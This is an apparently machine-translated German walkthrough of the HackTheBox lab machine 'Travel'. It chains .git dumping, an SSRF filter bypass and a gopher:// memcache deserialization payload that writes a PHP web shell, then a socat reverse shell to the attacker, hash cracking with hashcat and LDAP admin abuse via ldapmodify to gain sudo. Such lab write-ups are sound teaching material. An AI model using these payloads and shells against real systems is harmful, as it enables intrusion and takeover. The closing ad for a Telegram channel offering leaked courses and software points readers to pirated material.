
Ich veröffentliche weiterhin Lösungen, die zur Finalisierung von Maschinen von der HackTheBox- Site gesendet wurden .
In diesem Artikel erfahren Sie, wie Sie RCE mithilfe von PHP-Memcache und SSRF abrufen, in die Datenbank eintauchen und herausfinden, was für den LDAP-Administrator gefährlich ist.
Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder einem Host herzustellen, auf dem wichtige Daten für Sie vorhanden sind, da Sie sich in einem privaten Netzwerk mit Personen befinden, die etwas über Informationssicherheit wissen.
Organisationsinformationen
Aufklärung
Dieser Computer hat eine IP-Adresse vom 10.10.10.189, die ich zu / etc / hosts hinzufüge.
10.10.10.189 travel.htb
Der erste Schritt ist das Scannen offener Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit 500 Paketen pro Sekunde.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.189 --rate=500
Führen Sie jetzt einen Scan mit der Option -A aus, um detailliertere Informationen zu den Diensten zu erhalten, die an den Ports ausgeführt werden.
nmap -A travel.htb -p22,80,443
Somit haben wir Zugriff auf den SSH-Dienst und den Nginx-Webserver. Der Scan zeigt, für welches DNS das Zertifikat bestimmt ist. Fügen wir sie zu / etc / hosts hinzu.
10.10.10.189 www.travel.htb
10.10.10.189 blog.travel.htb
10.10.10.189 blog-dev.travel.htb
Werfen wir einen Blick auf diese Seiten. Auf der ersten finden wir die Beschreibung der Seite.
Der zweite ist interessanter. Wir sehen sofort, dass dies ein WordPress-CMS ist und finden das Suchformular.
Wenn wir die Site schnell mit wpscan überprüfen, finden wir nichts. Wir gehen weiter und die dritte Site trifft auf einen Fehler 403. Lassen Sie uns die Verzeichnisse durchlaufen. Ich benutze dafür Gobuster. In den Parametern geben wir die Anzahl der Streams 128 (-t), URL (-u), Wörterbuch (-w) und Erweiterungen an, an denen wir interessiert sind (-x).
gobuster dir -t 128 -u blog-dev.travel.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html
Finde .git. Wir können über das Repository kopieren.
Dies kann mit einer Vielzahl von Programmen gemacht werden, ich benutze das Rip-Git- Skript .
./rip-git.pl -v -u http://blog-dev.travel.htb/.git/
Und im Verzeichnis des aktuellen Verzeichnisses sehen wir die resultierenden Dateien und das .git-Repository.
Wir verwenden gitk, um mit .git zu arbeiten.
Es gibt ein Änderungsprotokoll, aus dem das Vorhandensein eines Caches und Sicherheitsüberprüfungen hervorgeht.
Markieren Sie in der Datei rss_template.php memcache, das Vorhandensein des URL-Parameters und das Debug.
Der Parameter muss die Zeichenfolge "custom_feed_url" enthalten. Und höchstwahrscheinlich wird eine Anfrage an diese Adresse gestellt.
Die RSS-Seite war bei blog.travel.htb .
Starten wir einen lokalen Webserver und greifen auf awesome-rss zu, wobei wir unsere IP als Parameter übergeben.
curl http://blog.travel.htb/awesome-rss/?custom_feed_url=10.10.14.120
Und wir stellen fest, dass die Annahmen richtig sind. Es sollte beachtet werden, dass, wenn die URL fehlt, www.travel.htb / newsfeed / customfeed.xml ausgewählt wird .
Einstiegspunkt
Die README-Datei sagt, dass diese Dateien nach wp-content / themes / Twentytwenty verschoben werden sollen (was mir bei der Suche nach der Datei debug.php aufgefallen ist). Und die Debug-Datei finden Sie dort.
Das ist alles interessant und noch nicht klar, aber es sieht aus wie serialisierte Daten. Lassen Sie uns eines aus allen Informationen sammeln:
- Wir müssen den Server kontaktieren und die Datei feed.xml abrufen.

- Die Funktion, an die die URL übergeben wird, verwendet die SimplePie-API (für die es eine gute Dokumentation gibt ) und den Memcache. Diese Funktion gibt ein einfaches Objekt zurück.

- Die Funktion url_get_contents wird in template.php bereitgestellt. In diesem Fall gibt es eine Überprüfung, die uns nicht die Möglichkeit geben sollte, auf Dateien auf dem Server zuzugreifen. Der SSRF-Filter ist jedoch nicht korrekt genug, da wir auch über die Adressen 127.0.1.1, 127.1, 127.000.0.1 usw. auf localhost zugreifen können.

- Als Nächstes werden die Informationen aus der Datei feed.xml angezeigt.
- Es gibt auch eine TemplateHelper-Klasse und eine init () -Funktion, die die übertragenen Daten in die angegebene Datei schreibt.

Es bleibt abzuwarten, in welche Datei im Protokollverzeichnis die serialisierten Daten geschrieben werden. Verweisen wir auf die Dokumentation:
Daher wird der Pfad als MD5 (MD5 (url) + ": spc") interpretiert. Lassen Sie uns dies überprüfen und dafür laden wir die XML-Datei von der Standard-URL herunter.
wget http://www.travel.htb/newsfeed/customfeed.xml -O feed.xml
Wenden wir uns nun der RSS-Seite zu und übergeben die heruntergeladene Datei an die URL.
curl http://blog.travel.htb/awesome-rss/?custom_feed_url=http://10.10.14.120/feed.xml
Und wir bekommen die serialisierten Daten.
curl http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php
Und jetzt berechnen wir unter Verwendung der obigen Formel den interpretierten Pfad.
Und die ersten 10 Bytes stimmten überein! Hier wird der Angriffsvektor beschrieben - PHP memcached und SSRF. Eine Google-Suche brachte mich zu diesem Skript .
Sie müssen nur den Code für unseren Fall ändern. Lassen Sie uns serialisierte Daten erstellen.
code = 'O:14:"TemplateHelper":2:{s:4:"file";s:8:"ralf.php";s:4:"data";s:31:"<?php system($_REQUEST["cmd"]);";}'
Also schreiben wir den Code <? Php system ($ _ REQUEST ["cmd"]); in die ralf.php-Datei beim Deserialisieren. Der Schlüssel, an dem wir am meisten interessiert sind, ist xct_key, den wir bereits berechnen können.
Dann erhalten wir den folgenden Code, um eine Last zu erstellen.
encodedpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
return "gopher://127.00.0.1:11211/_" + encodedpayload
Und wir werden deserialisieren.
r = requests.get("http://blog.travel.htb/awesome-rss/?debug=yes&custom_feed_url="+payload)
r = requests.get("http://blog.travel.htb/awesome-rss/")
Der vollständige Code ist unten dargestellt (wie immer ein Bild).
Ok, lass uns einen normalen Spaziergang machen. Da es jedoch Probleme mit Python Pty gab, erstellen wir mithilfe von socat eine Backconnect-Shell. Beginnen wir den Listener auf dem Client:
socat file:`tty`,raw,echo=0 tcp-listen:4321
Und vom Server aus verbinden:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.89:4321
NUTZER
In solchen Fällen sollten Sie normalerweise die Benutzerdatenbank mit WordPress überprüfen. Lassen Sie uns die Datei wp-config.php finden.
Stellen Sie mit diesen Anmeldeinformationen eine Verbindung zu MySQL her. Unsere Aufgabe besteht darin, die Tabelle wp_users zu finden.
mysql -h 127.0.0.1 -u wp -p
Schauen wir uns die Datenbanken an.
Schauen wir uns in der wp-Datenbank um.
Und wir finden den gewünschten Tisch.
Wenn wir jedoch versuchen, den Hash brutal zu erzwingen, erhalten wir einen Fehler. Es gibt keine solchen Passwörter. Dann habe ich das Linpeas-Skript auf die Maschine heruntergeladen und einige grundlegende Aufzählungen vorgenommen.
curl 10.10.14.89/tools/linpeas.sh > /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh ; /tmp/linpeas.sh
Wir finden nichts Besonderes, außer dass wir uns im Docker-Container befinden.
Dieses Skript überprüft jedoch nicht das opt-Verzeichnis. Und da finden wir gerade die Datenbanksicherung.
Wenn wir uns die Zeilen in dieser Datei ansehen, gibt es am Ende einen Eintrag über zwei Benutzer.
Aber der zweite ist einfach nur brutal.
hashcat -a 0 -m 400 wp.hash tools/rockyou.txt
Und mit dem gefundenen Passwort verbinden Sie sich über ssh.
WURZEL
Wir finden auch zwei interessante Dateien im Arbeitsverzeichnis des Benutzers - .ldaprc und .viminfo.
Mal sehen, was drin ist. So finden wir in der ersten Datei den LDAP-Datensatz unseres Benutzers.
Und im zweiten sein ldap Passwort.
Lass es uns überprüfen. Rufen Sie ldapwhoami mit den Optionen -x (einfache Authentifizierung) und -w (Kennwort) auf.
ldapwhoami -x -w Theroadlesstraveled
Wir sehen einen Eintrag aus der .ldaprc-Datei. Fragen wir nach Informationen.
ldapsearch -x -w Theroadlesstraveled
Auf diese Weise erhalten wir eine Liste der Benutzer und wissen, dass wir ein LDAP-Administrator sind. Das heißt, wir können einen SSH-Schlüssel für jeden Benutzer erstellen, das Passwort ändern und die Sudo-Gruppe in die Gruppe eingeben! Sudo-Gruppe - 27.
Erstellen wir ein Schlüsselpaar.
Jetzt erstellen wir eine Konfigurationsdatei.
Wenden wir sie auf Benutzer Frank an.
ldapmodify -D "cn=lynik-admin,dc=travel,dc=htb" -w Theroadlesstraveled -f frank.ldif
Und verbinden Sie sich über SSH
ssh -i id_rsa frank@travel
Verwenden wir jetzt sudo mit unserem Passwort.
Sie können sich uns per Telegramm anschließen . Dort finden Sie interessante Materialien, durchgesickerte Kurse und Software. Lassen Sie uns eine Community zusammenstellen, in der es Menschen geben wird, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.